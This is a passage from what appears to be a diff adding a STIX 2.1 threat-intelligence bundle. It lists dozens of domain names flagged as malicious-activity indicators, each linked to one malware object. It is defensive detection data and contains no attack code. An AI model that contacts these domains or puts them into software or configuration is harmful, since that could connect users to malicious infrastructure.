"[domain-name:value='tremblingroundness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.107393Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb509eae-a1b4-4c0f-91a8-b28409c0b190", + "created": "2023-03-29T12:58:44.108043Z", + "modified": "2023-03-29T12:58:44.108043Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc7163ed-3f72-449d-a25a-b1898c9cfc94", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24ee475a-d558-4435-bffc-8f7ba4983ded", + "created": "2023-03-29T12:58:44.108216Z", + "modified": "2023-03-29T12:58:44.108216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unreachedaffiliate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.108216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edc55f70-5e07-43e8-a4ab-ae51e6d44db3", + "created": "2023-03-29T12:58:44.108827Z", + "modified": "2023-03-29T12:58:44.108827Z", + "relationship_type": "indicates", + "source_ref": "indicator--24ee475a-d558-4435-bffc-8f7ba4983ded", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b93963dd-efae-49bc-a354-deb86856aff8", + "created": "2023-03-29T12:58:44.108998Z", + "modified": "2023-03-29T12:58:44.108998Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='animalcrushable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.108998Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f07b4c36-50bb-4041-9128-e2f33311c265", + "created": "2023-03-29T12:58:44.10961Z", + "modified": "2023-03-29T12:58:44.10961Z", + "relationship_type": "indicates", + "source_ref": "indicator--b93963dd-efae-49bc-a354-deb86856aff8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94e88b7d-349b-4f68-b85d-7e8487bb1880", + "created": "2023-03-29T12:58:44.109782Z", + "modified": "2023-03-29T12:58:44.109782Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangesticker.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.109782Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c5e4f79-7a88-4aed-955b-a995d2e67048", + "created": "2023-03-29T12:58:44.110431Z", + "modified": "2023-03-29T12:58:44.110431Z", + "relationship_type": "indicates", + "source_ref": "indicator--94e88b7d-349b-4f68-b85d-7e8487bb1880", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2784792a-7f79-428a-9c60-751851146547", + "created": "2023-03-29T12:58:44.110604Z", + "modified": "2023-03-29T12:58:44.110604Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crestedomega.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.110604Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b076e81-b50d-439d-8344-3d38533f2afd", + "created": "2023-03-29T12:58:44.111201Z", + "modified": "2023-03-29T12:58:44.111201Z", + "relationship_type": "indicates", + "source_ref": "indicator--2784792a-7f79-428a-9c60-751851146547", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d93c6cb-59fe-419c-8419-8bd4d1f7127e", + "created": "2023-03-29T12:58:44.111372Z", + "modified": "2023-03-29T12:58:44.111372Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shrunkirregular.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.111372Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afa0c2b1-677c-4266-a37e-d148986dab77", + "created": "2023-03-29T12:58:44.112091Z", + "modified": "2023-03-29T12:58:44.112091Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d93c6cb-59fe-419c-8419-8bd4d1f7127e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98dac282-065e-4615-87c4-db442ab24b32", + "created": "2023-03-29T12:58:44.112266Z", + "modified": "2023-03-29T12:58:44.112266Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandblastdenote.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.112266Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--042656b7-5e1f-44dc-b00e-6171d449d531", + "created": "2023-03-29T12:58:44.112869Z", + "modified": "2023-03-29T12:58:44.112869Z", + "relationship_type": "indicates", + "source_ref": "indicator--98dac282-065e-4615-87c4-db442ab24b32", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--711c75ce-0820-46dd-a02c-b22f3688b01a", + "created": "2023-03-29T12:58:44.113043Z", + "modified": "2023-03-29T12:58:44.113043Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onoffworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.113043Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3bc7de5-1309-4073-acb7-3791871cdfd4", + "created": "2023-03-29T12:58:44.113649Z", + "modified": "2023-03-29T12:58:44.113649Z", + "relationship_type": "indicates", + "source_ref": "indicator--711c75ce-0820-46dd-a02c-b22f3688b01a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e806f79-dbd7-47b7-8da7-94db83b5e9cb", + "created": "2023-03-29T12:58:44.113821Z", + "modified": "2023-03-29T12:58:44.113821Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='graduallybonding.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.113821Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c5b48963-744d-4f39-b627-cdcf284087ae", + "created": "2023-03-29T12:58:44.114425Z", + "modified": "2023-03-29T12:58:44.114425Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e806f79-dbd7-47b7-8da7-94db83b5e9cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b318a485-719e-4f4a-a3ef-8594eea0b520", + "created": "2023-03-29T12:58:44.114594Z", + "modified": "2023-03-29T12:58:44.114594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acutelysilenced.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.114594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23fa2ec5-6710-475c-a6a1-3b6188e23857", + "created": "2023-03-29T12:58:44.115196Z", + "modified": "2023-03-29T12:58:44.115196Z", + "relationship_type": "indicates", + "source_ref": "indicator--b318a485-719e-4f4a-a3ef-8594eea0b520", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c76f09c6-ec67-45a3-9ddd-88e81d682bac", + "created": "2023-03-29T12:58:44.115365Z", + "modified": "2023-03-29T12:58:44.115365Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='defacingtrustable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.115365Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87c05525-94c0-48c5-a9a4-f2f0f6d65bd7", + "created": "2023-03-29T12:58:44.115967Z", + "modified": "2023-03-29T12:58:44.115967Z", + "relationship_type": "indicates", + "source_ref": "indicator--c76f09c6-ec67-45a3-9ddd-88e81d682bac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3ac9da2-afb2-4754-8e49-dbf9ed9e0dea", + "created": "2023-03-29T12:58:44.116135Z", + "modified": "2023-03-29T12:58:44.116135Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ganglydespise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.116135Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b1952a3-b3f3-4793-bca1-3c60f5859850", + "created": "2023-03-29T12:58:44.116737Z", + "modified": "2023-03-29T12:58:44.116737Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3ac9da2-afb2-4754-8e49-dbf9ed9e0dea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--681101f1-933f-4219-8eb8-c80ebfb14a60", + "created": "2023-03-29T12:58:44.116905Z", + "modified": "2023-03-29T12:58:44.116905Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grinningcontext.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.116905Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26ed01e7-01c1-4992-8e2a-c31eb5c915bb", + "created": "2023-03-29T12:58:44.117507Z", + "modified": "2023-03-29T12:58:44.117507Z", + "relationship_type": "indicates", + "source_ref": "indicator--681101f1-933f-4219-8eb8-c80ebfb14a60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7be6119-b07d-45c8-bcea-c3d2f38b1083", + "created": "2023-03-29T12:58:44.117687Z", + "modified": "2023-03-29T12:58:44.117687Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='citizenunsavory.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.117687Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ea0721e-165b-4e1b-aae7-9c49df0ba157", + "created": "2023-03-29T12:58:44.118295Z", + "modified": "2023-03-29T12:58:44.118295Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7be6119-b07d-45c8-bcea-c3d2f38b1083", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3cbf509-ea1b-4590-bd50-4ff79da4b18f", + "created": "2023-03-29T12:58:44.118463Z", + "modified": "2023-03-29T12:58:44.118463Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grooveexposure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.118463Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d827bab8-8fb0-4417-8e1f-546fc5cfc729", + "created": "2023-03-29T12:58:44.119181Z", + "modified": "2023-03-29T12:58:44.119181Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3cbf509-ea1b-4590-bd50-4ff79da4b18f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7da96660-2497-4a63-988f-9355e47fc044", + "created": "2023-03-29T12:58:44.119354Z", + "modified": "2023-03-29T12:58:44.119354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastdeliverygroup.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.119354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3c0939c-b34e-45e9-9ad1-d6ee49ac91fe", + "created": "2023-03-29T12:58:44.119957Z", + "modified": "2023-03-29T12:58:44.119957Z", + "relationship_type": "indicates", + "source_ref": "indicator--7da96660-2497-4a63-988f-9355e47fc044", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2b0284c-695e-41df-bf4e-ccc0fd3fd74f", + "created": "2023-03-29T12:58:44.120128Z", + "modified": "2023-03-29T12:58:44.120128Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='equalmuck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.120128Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ace701c2-25ab-4770-bddd-42772a4812c4", + "created": "2023-03-29T12:58:44.120723Z", + "modified": "2023-03-29T12:58:44.120723Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2b0284c-695e-41df-bf4e-ccc0fd3fd74f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ef0709c-faab-4cec-95b4-a826c9cc122d", + "created": "2023-03-29T12:58:44.120892Z", + "modified": "2023-03-29T12:58:44.120892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hareemostial.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.120892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1b94cbf-248c-4f6b-9177-fb4251be0311", + "created": "2023-03-29T12:58:44.121488Z", + "modified": "2023-03-29T12:58:44.121488Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ef0709c-faab-4cec-95b4-a826c9cc122d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc913c33-46ff-4be4-969f-68331af0e333", + "created": "2023-03-29T12:58:44.121667Z", + "modified": "2023-03-29T12:58:44.121667Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resupplyblabber.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.121667Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--963fcff5-06e2-4e60-a0d9-88770747c25f", + "created": "2023-03-29T12:58:44.122272Z", + "modified": "2023-03-29T12:58:44.122272Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc913c33-46ff-4be4-969f-68331af0e333", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c75ab69-16ed-4772-9b88-98e00a5e4612", + "created": "2023-03-29T12:58:44.12244Z", + "modified": "2023-03-29T12:58:44.12244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spiedsalute.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.12244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34215166-4b08-48ec-8335-3510cb55d65d", + "created": "2023-03-29T12:58:44.123036Z", + "modified": "2023-03-29T12:58:44.123036Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c75ab69-16ed-4772-9b88-98e00a5e4612", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2925e280-30e4-4c4e-a7f9-3859517f4444", + "created": "2023-03-29T12:58:44.123211Z", + "modified": "2023-03-29T12:58:44.123211Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='venturecheesy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.123211Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c6df27ea-b460-4ff8-8178-a0fac36697a0", + "created": "2023-03-29T12:58:44.12381Z", + "modified": "2023-03-29T12:58:44.12381Z", + "relationship_type": "indicates", + "source_ref": "indicator--2925e280-30e4-4c4e-a7f9-3859517f4444", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3eb0a792-a5c0-4ea6-a396-5f6661323f3b", + "created": "2023-03-29T12:58:44.123978Z", + "modified": "2023-03-29T12:58:44.123978Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newlooksaloon.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.123978Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e09a0101-1ee7-4019-800e-6dd3086d158d", + "created": "2023-03-29T12:58:44.124612Z", + "modified": "2023-03-29T12:58:44.124612Z", + "relationship_type": "indicates", + "source_ref": "indicator--3eb0a792-a5c0-4ea6-a396-5f6661323f3b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--393f1ecb-64ec-4a65-b5b8-2d0d525513c1", + "created": "2023-03-29T12:58:44.124787Z", + "modified": "2023-03-29T12:58:44.124787Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deltaburner.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.124787Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--208756a8-7f86-4d92-bfb1-168f78500aab", + "created": "2023-03-29T12:58:44.125386Z", + "modified": "2023-03-29T12:58:44.125386Z", + "relationship_type": "indicates", + "source_ref": "indicator--393f1ecb-64ec-4a65-b5b8-2d0d525513c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3aa96305-0623-4528-952e-2236976e2b8c", + "created": "2023-03-29T12:58:44.125561Z", + "modified": "2023-03-29T12:58:44.125561Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='globalcartons.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.125561Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18489c95-e067-4af7-9761-8125ca5d9761", + "created": "2023-03-29T12:58:44.126277Z", + "modified": "2023-03-29T12:58:44.126277Z", + "relationship_type": "indicates", + "source_ref": "indicator--3aa96305-0623-4528-952e-2236976e2b8c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--099fd4e1-67d6-46c8-bcd4-623792102cd3", + "created": "2023-03-29T12:58:44.126451Z", + "modified": "2023-03-29T12:58:44.126451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='servetubeless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.126451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dca5abac-0b9f-42c9-85d6-66148fa7b486", + "created": "2023-03-29T12:58:44.127095Z", + "modified": "2023-03-29T12:58:44.127095Z", + "relationship_type": "indicates", + "source_ref": "indicator--099fd4e1-67d6-46c8-bcd4-623792102cd3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--978ece3b-3079-4792-b119-c983e2528214", + "created": "2023-03-29T12:58:44.127268Z", + "modified": "2023-03-29T12:58:44.127268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kickshotfirst.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.127268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5ab617c2-8d7e-4475-b979-cc09e71a367e", + "created": "2023-03-29T12:58:44.127868Z", + "modified": "2023-03-29T12:58:44.127868Z", + "relationship_type": "indicates", + "source_ref": "indicator--978ece3b-3079-4792-b119-c983e2528214", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb192e6a-391b-435c-b12e-f121270f12c2", + "created": "2023-03-29T12:58:44.128037Z", + "modified": "2023-03-29T12:58:44.128037Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twentyamusable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.128037Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d47da6bb-298d-4289-91c9-ca2228ec962c", + "created": "2023-03-29T12:58:44.128637Z", + "modified": "2023-03-29T12:58:44.128637Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb192e6a-391b-435c-b12e-f121270f12c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35aa3915-2753-4c58-a29d-5a6c5fc71793", + "created": "2023-03-29T12:58:44.128807Z", + "modified": "2023-03-29T12:58:44.128807Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jukeboxpep.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.128807Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0bff757-b976-45c0-acae-57c79bbc86c2", + "created": "2023-03-29T12:58:44.129404Z", + "modified": "2023-03-29T12:58:44.129404Z", + "relationship_type": "indicates", + "source_ref": "indicator--35aa3915-2753-4c58-a29d-5a6c5fc71793", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f71474d-0d21-42ca-a907-0395567cdc69", + "created": "2023-03-29T12:58:44.129581Z", + "modified": "2023-03-29T12:58:44.129581Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='activatepromenade.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.129581Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8549bfa-a7b1-4835-8f90-69da060eee16", + "created": "2023-03-29T12:58:44.130187Z", + "modified": "2023-03-29T12:58:44.130187Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f71474d-0d21-42ca-a907-0395567cdc69", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74ab037c-bbfe-43cf-aa04-eb42dba35d87", + "created": "2023-03-29T12:58:44.130355Z", + "modified": "2023-03-29T12:58:44.130355Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='desertland.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.130355Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--817b8277-4470-4e17-95c2-a72e02960d6b", + "created": "2023-03-29T12:58:44.130955Z", + "modified": "2023-03-29T12:58:44.130955Z", + "relationship_type": "indicates", + "source_ref": "indicator--74ab037c-bbfe-43cf-aa04-eb42dba35d87", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e83b253c-baac-4e82-a813-d884086e9b1c", + "created": "2023-03-29T12:58:44.131123Z", + "modified": "2023-03-29T12:58:44.131123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ungradeddislocate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.131123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4739048-1702-44ba-a5d1-3d65dd6aab2e", + "created": "2023-03-29T12:58:44.131725Z", + "modified": "2023-03-29T12:58:44.131725Z", + "relationship_type": "indicates", + "source_ref": "indicator--e83b253c-baac-4e82-a813-d884086e9b1c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1dc62848-d474-4a11-b1cb-b34a0601f552", + "created": "2023-03-29T12:58:44.131896Z", + "modified": "2023-03-29T12:58:44.131896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unpaintedoutpour.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.131896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67190c49-1ee4-4a1f-ae6f-e5461e42117d", + "created": "2023-03-29T12:58:44.1325Z", + "modified": "2023-03-29T12:58:44.1325Z", + "relationship_type": "indicates", + "source_ref": "indicator--1dc62848-d474-4a11-b1cb-b34a0601f552", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--337c67b2-a3db-498e-974b-bf7439ea0497", + "created": "2023-03-29T12:58:44.132668Z", + "modified": "2023-03-29T12:58:44.132668Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='postparceltracking.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.132668Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c003b43f-e635-4116-a90b-e2f993c9e67d", + "created": "2023-03-29T12:58:44.133389Z", + "modified": "2023-03-29T12:58:44.133389Z", + "relationship_type": "indicates", + "source_ref": "indicator--337c67b2-a3db-498e-974b-bf7439ea0497", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a225c930-ebd9-4fe2-8fac-48b5c45c0f9a", + "created": "2023-03-29T12:58:44.133574Z", + "modified": "2023-03-29T12:58:44.133574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trailsidesplurge.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.133574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1b808b9-18bc-41f6-a376-af1747978750", + "created": "2023-03-29T12:58:44.134182Z", + "modified": "2023-03-29T12:58:44.134182Z", + "relationship_type": "indicates", + "source_ref": "indicator--a225c930-ebd9-4fe2-8fac-48b5c45c0f9a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d17870e-d5d5-4611-b840-6d1cc706ba71", + "created": "2023-03-29T12:58:44.13435Z", + "modified": "2023-03-29T12:58:44.13435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stronglyexcavator.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.13435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fd1c0c01-4f68-478b-a93d-57ef861f6679", + "created": "2023-03-29T12:58:44.134954Z", + "modified": "2023-03-29T12:58:44.134954Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d17870e-d5d5-4611-b840-6d1cc706ba71", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03abfeba-ac36-45b8-9ce6-74e2780ab8d2", + "created": "2023-03-29T12:58:44.135123Z", + "modified": "2023-03-29T12:58:44.135123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='entityunclaimed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.135123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92da2e21-da65-490f-96f1-9fdefa07fd70", + "created": "2023-03-29T12:58:44.135724Z", + "modified": "2023-03-29T12:58:44.135724Z", + "relationship_type": "indicates", + "source_ref": "indicator--03abfeba-ac36-45b8-9ce6-74e2780ab8d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0dbbc54-90ad-4c59-bfb9-03e313905576", + "created": "2023-03-29T12:58:44.135892Z", + "modified": "2023-03-29T12:58:44.135892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cathouseportfolio.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.135892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6132266-c5a5-4676-8c06-bf4ea6b88b1a", + "created": "2023-03-29T12:58:44.1365Z", + "modified": "2023-03-29T12:58:44.1365Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0dbbc54-90ad-4c59-bfb9-03e313905576", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04b569be-bbbc-4d9b-9797-218d3779d809", + "created": "2023-03-29T12:58:44.13667Z", + "modified": "2023-03-29T12:58:44.13667Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": 